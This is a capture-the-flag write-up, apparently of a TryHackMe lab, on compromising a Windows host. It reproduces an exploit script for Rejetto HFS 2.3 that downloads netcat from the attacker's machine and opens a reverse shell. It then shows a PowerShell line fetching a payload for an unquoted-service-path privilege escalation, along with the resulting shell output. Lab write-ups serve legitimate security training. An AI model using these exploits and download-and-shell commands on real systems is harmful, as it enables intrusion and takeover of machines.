

# Port 8080: Initial Access

1. Visited <http://10.10.129.210:8080/~login>

- Found :HttpFileServer 2.3

2. Searchsploit

Exploit Title	Path
Exploit: HTTP File Server (HFS) - Remote Command Execution (Metasploit)	windows/remote/34926.rb
Exploit: HTTP File Server (HFS) 1.5.2.x - Multiple Vulnerabilities	windows/remote/33636.py
Exploit: HTTP File Server (HFS) 2.2/2.3 - Arbitrary File Upload	multiple/remote/28840.txt
Exploit: HTTP File Server (HFS) 2.1.x - Remote Command Execution (1)	windows/remote/34688.txt
Exploit: HTTP File Server (HFS) 2.1.x - Remote Command Execution (2)	windows/remote/39161.py
Exploit: HTTP File Server (HFS) 2.2a/2.2b/2.3c - Remote Command Execution	windows/webapps/24832.txt
Exploit: HttpFileServer 2.1.x - Remote Command Execution (3)	windows/webapps/49125.py
Shellcodes: No Results	

3. Use: Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution

(2)

```
39161.py
6 #Usage : python Exploit.py <Target IP address> <Target Port Number>
7
8 #EDB Note: You need to be using a web server hosting netcat (http://<attackers_ip>:80/
  nc.exe).
9 #
10     You may need to run it multiple times for success!
11
12 import urllib2
13 import sys
14
15 try:
16     def script_create():
17         urllib2.urlopen("http://" + sys.argv[1] + ":" + sys.argv[2] + "/?search=%00{.}+save+."})
18
19     def execute_script():
20         urllib2.urlopen("http://" + sys.argv[1] + ":" + sys.argv[2] + "/?search=%00{.}+exe+."})
21
22     def nc_run():
23         urllib2.urlopen("http://" + sys.argv[1] + ":" + sys.argv[2] + "/?search=%00{.}+exe1+."})
24
25     ip_addr = "10.11.49.241" #local IP address
26     local_port = "4444" # Local Port number
27     vbs = "C:\Users\Public\script.vbs|dim%20xHttp%3A%20Set%20xHttp%20%3D%20c
  reateobject(%22Microsoft.XMLHTTP%22)%0D%0A%20bStrm%3A%20Set%20bStrm%20%3D%20c
  reateobject(%22Adodb.Stream%22)%0D%0A%20Http.Open%20%22GET%22%2C%20%22http%3A%2F%2F"
  +ip_addr+"%2Fnc.exe%22%2C%20False%0D%0A%20Http.Send%20%0A%0D%0AWith%20bStrm%0D%0A
  %20%20%20%20.type%20%3D%201%20%27%2F%2Fbinary%0D%0A%20%20%20%20.open%0D%0A%20%20
  %20%20.write%20xHttp.responseBody%0D%0A%20%20%20%20.savetofile%20%
  22C%3A%5CUsers%5CPublic%5Cnc.exe%22%2C%20%27%2F%2Foverwrite%0D%0Aend%20with"
28     save = "save|" + vbs
29     vbs2 = "cscript.exe%20C%3A%5CUsers%5CPublic%5Cscript.vbs"
30     exe = "exec|" + vbs2
31     vbs3 = "C%3A%5CUsers%5CPublic%5Cnc.exe%20-e%20cmd.exe%20"+ip_addr+"%20"+local_port
32     exe1 = "exec|" + vbs3
33     script_create()
34     execute_script()
35     nc_run()
36 except:
37     print """"[.]Something went wrong..!
38     Usage is :[.] python exploit.py <Target IP address> <Target Port Number>
39     Don't forgot to change the Local IP address and Port number on the script"""
```

• Exploit Requirements

- Host netcat on port 80 <http://10.11.49.241/nc.exe>
- Listener nc listener on port 4444
- Target IP

- Target Port

#### 4. Run the exploit

```
python 39161.py $ip 8080
```

```
(root@kali) - [~/tools/winPrivEsc/reverseShells/ncWithE]
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.129.210 - - [14/Dec/2021 01:03:19] "GET /nc.exe HTTP/1.1" 200 -
10.10.129.210 - - [14/Dec/2021 01:03:19] "GET /nc.exe HTTP/1.1" 200 -
10.10.129.210 - - [14/Dec/2021 01:03:19] "GET /nc.exe HTTP/1.1" 200 -
10.10.129.210 - - [14/Dec/2021 01:03:19] "GET /nc.exe HTTP/1.1" 200 -
```

```
(root@kali) - [~/tryhackme/steelMountain]
# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.11.49.241] from (UNKNOWN) [10.10.129.210] 49317
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup>
```

#### 5. Found user flag at C:\Users\bill\Desktop

## Privilege Escalation:

#### 1. Run jaws

- Detected unquoted service path

```
[*] Checking for unquoted service paths...

ServiceName      : AdvancedSystemCareService9
Path              : C:\Program Files (x86)\IObit\Advanced
                  SystemCare\ASCService.exe
StartName         : LocalSystem
AbuseFunction      : Write-ServiceBinary -ServiceName
                  'AdvancedSystemCareService9'
                  -Path <HijackPath>
```

- **AdvancedSystemCareService9** is selected because we can net start the service

#### 2. Create reverse shell payload, save it as Advanced.exe

#### 3. Download Advanced.exe to C:\Program Files (x86)\IObit

```
cd "C:\Program Files (x86)\IObit"
powershell -c "Invoke-WebRequest -Uri
http://10.11.49.241/Advanced.exe -OutFile Advanced.exe"
net stop AdvancedSystemCareService9
net start AdvancedSystemCareService9
```

#### 4. Shell & root flag obtained

```
(root@kali)~[~/tryhackme/steelMountain/10.10.129.210/exploit]
# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.11.49.241] from (UNKNOWN) [10.10.31.161] 49219
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Users\Administrator>cd Desktop
cd Desktop
d
C:\Users\Administrator\Desktop>ir
dir
Volume in drive C has no label.
Volume Serial Number is 2E4A-906A

Directory of C:\Users\Administrator\Desktop

10/12/2020  11:05 AM    <DIR>          .
10/12/2020  11:05 AM    <DIR>          ..
10/12/2020  11:05 AM                1,528 activation.ps1
09/27/2019  04:41 AM                 32 root.txt
               2 File(s)            1,560 bytes
               2 Dir(s)  44,170,178,560 bytes free

C:\Users\Administrator\Desktop>type root.txt
```